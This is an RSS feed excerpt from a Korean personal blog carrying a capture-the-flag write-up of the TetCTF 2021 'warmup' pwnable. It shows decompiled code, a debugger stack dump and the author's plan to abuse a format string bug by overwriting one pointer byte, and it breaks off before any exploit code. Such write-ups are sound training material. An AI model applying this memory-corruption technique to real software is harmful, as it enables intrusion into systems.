<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>Mineta's Space</title>
    <link>https://mineta.tistory.com/</link>
    <description>closed</description>
    <language>ko</language>
    <pubDate>Sat, 25 Jul 2026 01:00:18 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Syine Mineta</managingEditor>
    <image>
      <title>Mineta's Space</title>
      <url>https://tistory1.daumcdn.net/tistory/3180951/attach/c74ef3b272f04ac48b5898725233862d</url>
      <link>https://mineta.tistory.com</link>
    </image>
    <item>
      <title>TetCTF 2021</title>
      <link>https://mineta.tistory.com/157</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이상한 CTF 하느라 대회 기간에는 참여를 못했고, 대회가 끝나고 나서 몇몇 문제들을 풀어봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 id=&quot;pwnable-1&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;PWNABLE :: warmup&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주어진 라이브러리의 BuildID에서 실행 환경이 Linux Ubuntu 16.04임을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리를 쭉 살펴보면 FSB가 발생하는 곳이 한 군데 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;ida-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;ida-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #2d2d2d;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #c0c0c0;&quot;&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;void&amp;nbsp;__fastcall&amp;nbsp;print_fsb(const&amp;nbsp;char&amp;nbsp;*msg)&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;int&amp;nbsp;i&lt;/span&gt;;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;//&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;[rsp+1Ch]&amp;nbsp;[rbp-4h]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #00ffff;&quot;&gt;msg&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;for&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;i&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;strlen&lt;/span&gt;(&lt;span style=&quot;color: #00ffff;&quot;&gt;msg&lt;/span&gt;);&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;i&lt;/span&gt;&amp;nbsp;&amp;lt;=&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;0x30&lt;/span&gt;;&amp;nbsp;++&lt;span style=&quot;color: #00ffff;&quot;&gt;i&lt;/span&gt;&amp;nbsp;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;putchar&lt;/span&gt;('&amp;nbsp;');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;puts&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;*&quot;&lt;/span&gt;);&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리가 PIE이고 이 코드는 딱 한번밖에 실행되지 않기 때문에 스택에서 조작할 수 있는 값을 쭉 찾아보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&lt;/span&gt;&amp;nbsp;stack&amp;nbsp;25&lt;br /&gt;0000|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23c0&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #4e9a06;&quot;&gt;0x55708db2b270&lt;/span&gt;&amp;nbsp;('*'&amp;nbsp;&amp;lt;repeats&amp;nbsp;50&amp;nbsp;times&amp;gt;)&lt;br /&gt;0008|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23c8&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x55708e2ed428&lt;/span&gt;&amp;nbsp;(&quot;whatzefuk???&quot;)&lt;br /&gt;0016|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23d0&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&amp;nbsp;&lt;br /&gt;0024|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23d8&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2440&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2460&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2470&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b1d0&lt;/span&gt;&amp;nbsp;(push&amp;nbsp;&amp;nbsp;&amp;nbsp;r15)&lt;br /&gt;0032|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23e0&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2440&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2460&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2470&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b1d0&lt;/span&gt;&amp;nbsp;(push&amp;nbsp;&amp;nbsp;&amp;nbsp;r15)&lt;br /&gt;0040|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23e8&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2ae9f&lt;/span&gt;&amp;nbsp;(lea&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rdi,[rip+0x3ca]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;0x55708db2b270)&lt;br /&gt;0048|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23f0&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&amp;nbsp;&lt;br /&gt;0056|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea23f8&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x55708e2ed420&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x55708dd2c050&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x64&amp;nbsp;('d')&lt;br /&gt;0064|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2400&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&amp;nbsp;&lt;br /&gt;0072|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2408&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&amp;nbsp;&lt;br /&gt;0080|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2410&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x1&amp;nbsp;&lt;br /&gt;0088|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2418&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&amp;nbsp;&lt;br /&gt;0096|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2420&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&amp;nbsp;&lt;br /&gt;0104|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2428&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x6809c21ac91c6400&amp;nbsp;&lt;br /&gt;0112|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2430&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2460&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2470&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b1d0&lt;/span&gt;&amp;nbsp;(push&amp;nbsp;&amp;nbsp;&amp;nbsp;r15)&lt;br /&gt;0120|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2438&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&amp;nbsp;&lt;br /&gt;0128|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2440&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2460&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2470&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b1d0&lt;/span&gt;&amp;nbsp;(push&amp;nbsp;&amp;nbsp;&amp;nbsp;r15)&lt;br /&gt;0136|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2448&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b0c3&lt;/span&gt;&amp;nbsp;(lea&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rdi,[rip+0x297]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#&amp;nbsp;0x55708db2b361)&lt;br /&gt;0144|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2450&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2ab00&lt;/span&gt;&amp;nbsp;(xor&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ebp,ebp)&lt;br /&gt;0152|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2458&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x55708e2ed420&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x55708dd2c050&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x64&amp;nbsp;('d')&lt;br /&gt;0160|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2460&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2470&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b1d0&lt;/span&gt;&amp;nbsp;(push&amp;nbsp;&amp;nbsp;&amp;nbsp;r15)&lt;br /&gt;0168|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2468&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b1c2&lt;/span&gt;&amp;nbsp;(mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;eax,0x0)&lt;br /&gt;0176|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2470&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x55708db2b1d0&lt;/span&gt;&amp;nbsp;(push&amp;nbsp;&amp;nbsp;&amp;nbsp;r15)&lt;br /&gt;0184|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2478&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #cc0000;&quot;&gt;0x7f1f2bada840&lt;/span&gt;&amp;nbsp;(&amp;lt;__libc_start_main+240&amp;gt;:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;edi,eax)&lt;br /&gt;0192|&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x7fff4cea2480&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x1&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;rsp+0x38&lt;/code&gt; 이나 &lt;code&gt;rsp+0x98&lt;/code&gt; 위치에 흥미로운 데이터가 보인다. 해당 포인터는 플레이어 객체를 할당받을 때 생성된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;ida-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;ida-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #2d2d2d;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #c0c0c0;&quot;&gt;&lt;span style=&quot;color: #73adad;&quot;&gt;void&amp;nbsp;__fastcall&amp;nbsp;game()&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #73adad;&quot;&gt;Player&amp;nbsp;*player&lt;/span&gt;;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;//&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;[rsp+8h]&amp;nbsp;[rbp-8h]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;buf&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;calloc&lt;/span&gt;(&lt;span style=&quot;color: #ababab;&quot;&gt;0x400uLL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;1uLL&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;player&lt;/span&gt;&amp;nbsp;=&amp;nbsp;(&lt;span style=&quot;color: #ffd200;&quot;&gt;Player&amp;nbsp;*&lt;/span&gt;)&lt;span style=&quot;color: #ffecbb;&quot;&gt;calloc&lt;/span&gt;(&lt;span style=&quot;color: #ababab;&quot;&gt;0x88uLL&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;1uLL&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;player&lt;/span&gt;-&amp;gt;money&amp;nbsp;=&amp;nbsp;&amp;amp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;a1&lt;/span&gt;;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;do&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;How&amp;nbsp;much&amp;nbsp;money&amp;nbsp;you&amp;nbsp;want?&amp;nbsp;&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;read_long&lt;/span&gt;(&amp;amp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;a1&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;while&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;a1&lt;/span&gt;&amp;nbsp;&amp;gt;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;0x8000000000000000LL&lt;/span&gt;&amp;nbsp;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;play&lt;/span&gt;(&lt;span style=&quot;color: #00ffff;&quot;&gt;player&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;puts&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Game&amp;nbsp;Over&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Your&amp;nbsp;money:&amp;nbsp;%lu&amp;nbsp;ZWD\n&quot;&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;a1&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Send&amp;nbsp;to&amp;nbsp;author&amp;nbsp;your&amp;nbsp;feeback:&amp;nbsp;&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;read&lt;/span&gt;(&lt;span style=&quot;color: #ababab;&quot;&gt;0&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;buf&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;0x400uLL&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;puts&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Thank&amp;nbsp;for&amp;nbsp;your&amp;nbsp;feedback&quot;&lt;/span&gt;);&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;ida-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;ida-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #2d2d2d;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ababab;&quot;&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.bss:0000000000202050&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ffc5f3;&quot;&gt;;&amp;nbsp;uint64_t&amp;nbsp;a1&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.bss:0000000000202050&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ebebb9;&quot;&gt;a1&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dq&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;?&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #7c7c61;&quot;&gt;;&amp;nbsp;DATA&amp;nbsp;XREF:&amp;nbsp;game+35&amp;uarr;o&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.bss:0000000000202050&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #7c7c61;&quot;&gt;;&amp;nbsp;game+50&amp;uarr;o&amp;nbsp;...&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.bss:0000000000202058&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #82607e;&quot;&gt;;&amp;nbsp;void&amp;nbsp;*buf&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.bss:0000000000202058&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ebebb9;&quot;&gt;buf&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dq&amp;nbsp;&lt;span style=&quot;color: #c0c0c0;&quot;&gt;?&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #7c7c61;&quot;&gt;;&amp;nbsp;DATA&amp;nbsp;XREF:&amp;nbsp;game+17&amp;uarr;w&lt;/span&gt; &lt;br /&gt;&lt;span style=&quot;color: #7c7c61;&quot;&gt;.bss:0000000000202058&lt;/span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #7c7c61;&quot;&gt;;&amp;nbsp;game+B6&amp;uarr;r&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;player-&amp;gt;money&lt;/code&gt; 는 &lt;code&gt;a1&lt;/code&gt; 의 주소를 저장하고 있는데, FSB로 1바이트를 바꿔서 이 값을 &lt;code&gt;buf&lt;/code&gt; 의 주소로 바꿀 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 &lt;code&gt;play&lt;/code&gt; 함수의 실행이 끝나고 나면 &lt;code&gt;buf&lt;/code&gt; 에 0x400 크기의 임의의 데이터를 쓸 수 있다는 점 역시 눈에 띈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;ida-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;ida-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #2d2d2d;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; text-align: left;&quot;&gt;
